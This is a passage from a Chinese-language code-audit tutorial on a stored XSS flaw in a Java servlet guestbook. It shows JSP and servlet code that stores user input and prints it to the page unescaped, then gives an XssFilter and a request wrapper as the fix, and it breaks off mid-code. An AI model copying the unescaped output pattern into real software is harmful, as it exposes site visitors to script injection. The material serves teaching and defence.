msginfo = (ArrayList&lt;MessageInfo&gt;)request.getAttribute(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;msg&#34;</span>);<br/>    <span style="box-sizing: border-box;color: rgb(204, 153, 204);">for</span>(MessageInfo m:msginfo){<br/> %&gt;<br/>&lt;table&gt;<br/>    &lt;tr&gt;&lt;td <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span></span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;klytd&#34;</span>&gt; 留言人：&lt;/td&gt;<br/>        &lt;td <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> </span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;hvttd&#34;</span>&gt;　&lt;%=m.getName() %&gt;&lt;/td&gt;<br/>    &lt;/tr&gt; <br/>    &lt;tr&gt;&lt;td <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span></span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;klytd&#34;</span>&gt; e-mail：&lt;/td&gt;&lt;td <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> </span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;hvttd&#34;</span>&gt;　&lt;%=m.getMail() %&gt;&lt;/td&gt;<br/>        &lt;/tr&gt;<br/>    &lt;tr&gt;&lt;td <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span></span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;klytd&#34;</span>&gt; 内容：&lt;/td&gt;&lt;td <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> </span>=<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;hvttd&#34;</span>&gt;　&lt;%=m.getMessage() %&gt;&lt;/td&gt;&lt;/tr&gt;<br/>&lt;/table&gt; &lt;% } %&gt;<br/>&lt;/div&gt;</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">从 messageinfo List 中取出 name、mail、message 的值，并输出在该页面上。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这样一来整个流程就很清楚了，从 message 表中取数据--&gt; 取出的数据输出到页面上</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">那么这里就存在一个问题，如果储存的数据有问题，存在可执行代码，那么输出到页面上的内容就会引起xss 漏洞。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">继续看代码，找可以控制输入点的地方，在<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">com.sec.servlet</code>包下的 <code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">StoreServlet.java</code>文件中，关键代码如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">StoreXss</span><span style="box-sizing: border-box;">(HttpServletRequest req, HttpServletResponse resp)</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throws</span> ServletException, IOException </span>{<br/>        <span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">// TODO Auto-generated method stub</span><br/>        <br/>        String name = req.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;name&#34;</span>);<br/>        String mail = req.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;mail&#34;</span>);<br/>        String message = req.getParameter(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;message&#34;</span>);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span>(!name.equals(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) &amp;&amp; !mail.equals(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>) &amp;&amp; !message.equals(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>)){<br/>            <br/>            MessageInfoService msginfo = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> MessageInfoServiceImpl();<br/>            msginfo.MessageInfoStoreService(name, mail, message);<br/>            <br/>            resp.getWriter().print(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;&lt;script&gt;alert(\&#34;添加成功\&#34;)&lt;/script&gt;&#34;</span>);<br/>            resp.getWriter().flush();<br/>            resp.getWriter().close();<br/>        }<br/>    }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">获取 name、mail、message 参数，然后传入到<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoStoreService()</code>类中，该类的主要作用是调用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">MessageInfoStoreDao()</code>类，该类的关键内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">try</span> {<br/>      <br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">boolean</span> result = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">false</span>;<br/>            ....<br/>        <br/>            String sql = <span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;INSERT INTO message (name,mail,message) VALUES (?,?,?)&#34;</span>;<br/>            ps = conn.prepareStatement(sql);<br/>            ps.setString(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">1</span>, name);<br/>            ps.setString(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">2</span>, mail);<br/>            ps.setString(<span style="box-sizing: border-box;color: rgb(249, 145, 87);">3</span>, message);<br/>            ps.execute();<br/>            result = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">true</span>;<br/>            <br/>        ....<br/>        <br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> result;<br/>    }</code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">主要执行的是向数据库中插入数据的功能，数据插入之前虽然进行了预编译，但是没有进行特殊字符过滤处理，这样结合前文中提到的——直接输出从message 表中拿出的数据，导致了储存型 XSS 漏洞。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">如下图，我们提交含有可执行代码的数据：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.6295938104448743" data-s="300,640" style="" data-type="png" data-w="2068" src="https://wechat2rss.xlab.app/img-proxy/?k=dd94627e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1e0MPPI54nwCdynru23gENWhuG2wmCXYdAFW7vT1qGjTJgUKPE7O3SA%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后在输出页面查看：</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.4024390243902439" data-s="300,640" style="" data-type="png" data-w="1968" src="https://wechat2rss.xlab.app/img-proxy/?k=0809c5dd&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB11KdGyR59AyPU0MkVYdBJLpmzIfoPqCpRnbF9CAuU4HDibSIf2JhGk6g%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">成功执行 XSS，且点击确定后，返回原本页面，再次刷新</p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.9042904290429042" data-s="300,640" style="" data-type="png" data-w="1818" src="https://wechat2rss.xlab.app/img-proxy/?k=7d26ac81&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB1f7KicJs0icvt9JttP7qIUCpcsEAZU34RuFAyCsLrmr6Tn4lfcECMrvrQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><img class="rich_pages" data-galleryid="" data-ratio="0.22148394241417496" data-s="300,640" style="" data-type="png" data-w="1806" src="https://wechat2rss.xlab.app/img-proxy/?k=5e03ece0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fcibr2n69ehmpkFJ4el7e3r03jkuuJJeB15Fgj05CoMGxs5lW1ibf5OiblTJVic7ZK2vNoJfNb7D1E2FSmyYMCHKPNQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">依旧会执行插入数据中的 XSS 可执行代码，这也是和反射型 XSS 最大的区别。</p><p><span name="menu_index_7" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h2 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 22px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">0x03 修复方案</h2><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">对于 XSS 漏洞，导致其产生的根本原因是对于输入和输出功能的过滤不完善，因此可以采用过滤的方法来防御 XSS 漏洞，大致方向有以下几种：</p><ul style="margin-bottom: 1.2em;margin-left: 1.3em;list-style-position: initial;list-style-image: initial;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);" class="list-paddingleft-2"><li style="box-sizing: border-box;"><p>保留语意，将输入的特殊字符转译存储到数据库，缺点是可能会对数据库或文件系统产生一些不必要的垃圾信息</p></li><li style="box-sizing: border-box;"><p>过滤掉特殊字符，只保留正常数据，缺点是有些时候用户需要输入特殊字符，不能保证数据原始性</p></li><li style="box-sizing: border-box;"><p>输入限制，含有特殊字符的数据不能够输入</p></li></ul><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">以上都可以自行进行特殊处理，这里只提供些思路，怎么处理可以根据需求选择</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这里提供几个具体的处理方式。</p><p><span name="menu_index_8" style="box-sizing: border-box;color: rgb(33, 37, 41);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;background-color: rgb(255, 255, 255);"></span></p><h3 style="box-sizing: border-box;margin-top: 1.2em;margin-bottom: 0.6em;font-family: &#34;PingFang SC&#34;, Verdana, &#34;Helvetica Neue&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-weight: bold;line-height: 1.35;color: rgb(0, 0, 0);font-size: 15px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">1、全局过滤器过滤</h3><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">说全局过滤器前需要说明一下<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;"> web.xml</code>这个配置文件的作用。<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;"> web.xml </code>是<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">java web</code> 项目的一个重要的配置文件，但是<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">web.xml</code>文件并不是<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">Java web</code>工程必须的，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">web.xml</code>文件的主要作用用来配置：欢迎页、servlet、filter等。但是当web工程中没用到这些时，可以不用<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">web.xml</code>文件来配置web工程。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">做全局过滤器需要要用到 filter，因此首先要做的是来配置<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">web.xml</code>文件，添加内容如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter</span>&gt;</span>  <br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter-name</span>&gt;</span>XssSafe<span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter-name</span>&gt;</span>  <br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter-class</span>&gt;</span>XssFilter<span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter-class</span>&gt;</span>  <br/>    <span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter</span>&gt;</span>  <br/>    <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter-mapping</span>&gt;</span>  <br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter-name</span>&gt;</span>XssSafe<span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter-name</span>&gt;</span>  <br/>        <span style="box-sizing: border-box;">&lt;<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">url-pattern</span>&gt;</span>/*<span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">url-pattern</span>&gt;</span>  <br/>    <span style="box-sizing: border-box;">&lt;/<span style="box-sizing: border-box;color: rgb(181, 189, 104);font-weight: bold;">filter-mapping</span>&gt;</span></code></pre><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">这里要注意的是，我们的配置是<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/*</code>而不是<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/</code>，<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">&lt; url-pattern&gt;/&lt;/url-pattern&gt; </code>会匹配到<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/login</code>这样的路径型url，不会匹配到模式为<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">*.jsp</code>这样的后缀型url，而<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">&lt; url-pattern&gt;/*&lt;/url-pattern&gt; </code>会匹配所有url：路径型的和后缀型的url(包括<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">/login</code>,<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">*.jsp</code>,<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">*.js</code>和<code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;color: rgb(232, 62, 140);word-break: break-word;">*.html</code>等)。</p><p style="box-sizing: border-box;margin-bottom: 1.2em;color: rgb(86, 86, 86);font-family: &#34;PingFang SC&#34;, &#34;Lantinghei SC&#34;, &#34;Microsoft Yahei&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft Sans Serif&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 16px;text-align: left;white-space: normal;background-color: rgb(255, 255, 255);">然后编写过滤器的内容就行了，这个网上有写好的，可以直接拿来用，如下：</p><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//XssFilter实现：</span><br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> <span style="box-sizing: border-box;color: rgb(255, 204, 102);">XssFilter</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">implements</span> <span style="box-sizing: border-box;color: rgb(255, 204, 102);">Filter</span> </span>{<br/>    <br/>    <span style="box-sizing: border-box;color: rgb(249, 145, 87);">@Override</span><br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">init</span><span style="box-sizing: border-box;">(FilterConfig filterConfig)</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throws</span> ServletException </span>{<br/>    }<br/>    <span style="box-sizing: border-box;color: rgb(249, 145, 87);">@Override</span><br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">void</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">doFilter</span><span style="box-sizing: border-box;">(ServletRequest request, ServletResponse response,<br/>            FilterChain chain)</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">throws</span> IOException, ServletException </span>{<br/>        chain.doFilter(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> XssHttpServletRequestWrapper((HttpServletRequest) request), response);<br/>    }<br/>   <br/>}<br/></code></pre><pre style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: 14px;margin-bottom: 1.2em;overflow: auto;color: rgb(33, 37, 41);border-width: 1px;border-style: solid;border-color: rgb(221, 221, 221);text-align: left;background-color: rgb(255, 255, 255);"><code style="box-sizing: border-box;font-family: Courier, &#34;Courier New&#34;, monospace;font-size: inherit;color: rgb(209, 217, 225);word-break: normal;padding: 0.5em;display: block;overflow-x: auto;background: rgb(71, 73, 73);"><span style="box-sizing: border-box;color: rgb(150, 152, 150);font-style: italic;">//XssHttpServletRequestWrapper实现</span><br/><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">class</span> <span style="box-sizing: border-box;color: rgb(255, 204, 102);">XssHttpServletRequestWrapper</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">extends</span> <span style="box-sizing: border-box;color: rgb(255, 204, 102);">HttpServletRequestWrapper</span> </span>{<br/>    <span style="box-sizing: border-box;"><span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> <span style="box-sizing: border-box;color: rgb(181, 189, 104);">XssHttpServletRequestWrapper</span><span style="box-sizing: border-box;">(HttpServletRequest request)</span> </span>{<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">super</span>(request);<br/>    }<br/>    <span style="box-sizing: border-box;color: rgb(249, 145, 87);">@SuppressWarnings</span>(<span style="box-sizing: border-box;color: rgb(138, 190, 183);">&#34;rawtypes&#34;</span>)<br/>    <span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> Map&lt;String,String[]&gt; getParameterMap(){<br/>        Map&lt;String,String[]&gt; request_map = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">super</span>.getParameterMap();<br/>        Iterator iterator = request_map.entrySet().iterator();<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">while</span>(iterator.hasNext()){<br/>            Map.Entry me = (Map.Entry)iterator.next();<br/>            String[] values = (String[])me.getValue();<br/>            <span style="box-sizing: border-box;color: rgb(204, 153, 204);">for</span>(<span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> i = <span style="box-sizing: border-box;color: rgb(249, 145, 87);">0</span> ; i &lt; values.length ; i++){<br/>                values[i] = xssClean(values[i]);<br/>            }<br/>        }<br/>        <br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> request_map;<br/>    }<br/>     <span style="box-sizing: border-box;color: rgb(204, 153, 204);">public</span> String[] getParameterValues(String paramString)<br/>      {<br/>        String[] arrayOfString1 = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">super</span>.getParameterValues(paramString);<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">if</span> (arrayOfString1 == <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>)<br/>          <span style="box-sizing: border-box;color: rgb(204, 153, 204);">return</span> <span style="box-sizing: border-box;color: rgb(204, 153, 204);">null</span>;<br/>        <span style="box-sizing: border-box;color: rgb(204, 153, 204);">int</span> i = arrayOfString1.length;<br/>        String[] arrayOfString2 = <span style="box-sizing: border-box;color: rgb(204, 153, 204);">new</span> String[i];<br/>        <span style="box-sizing: 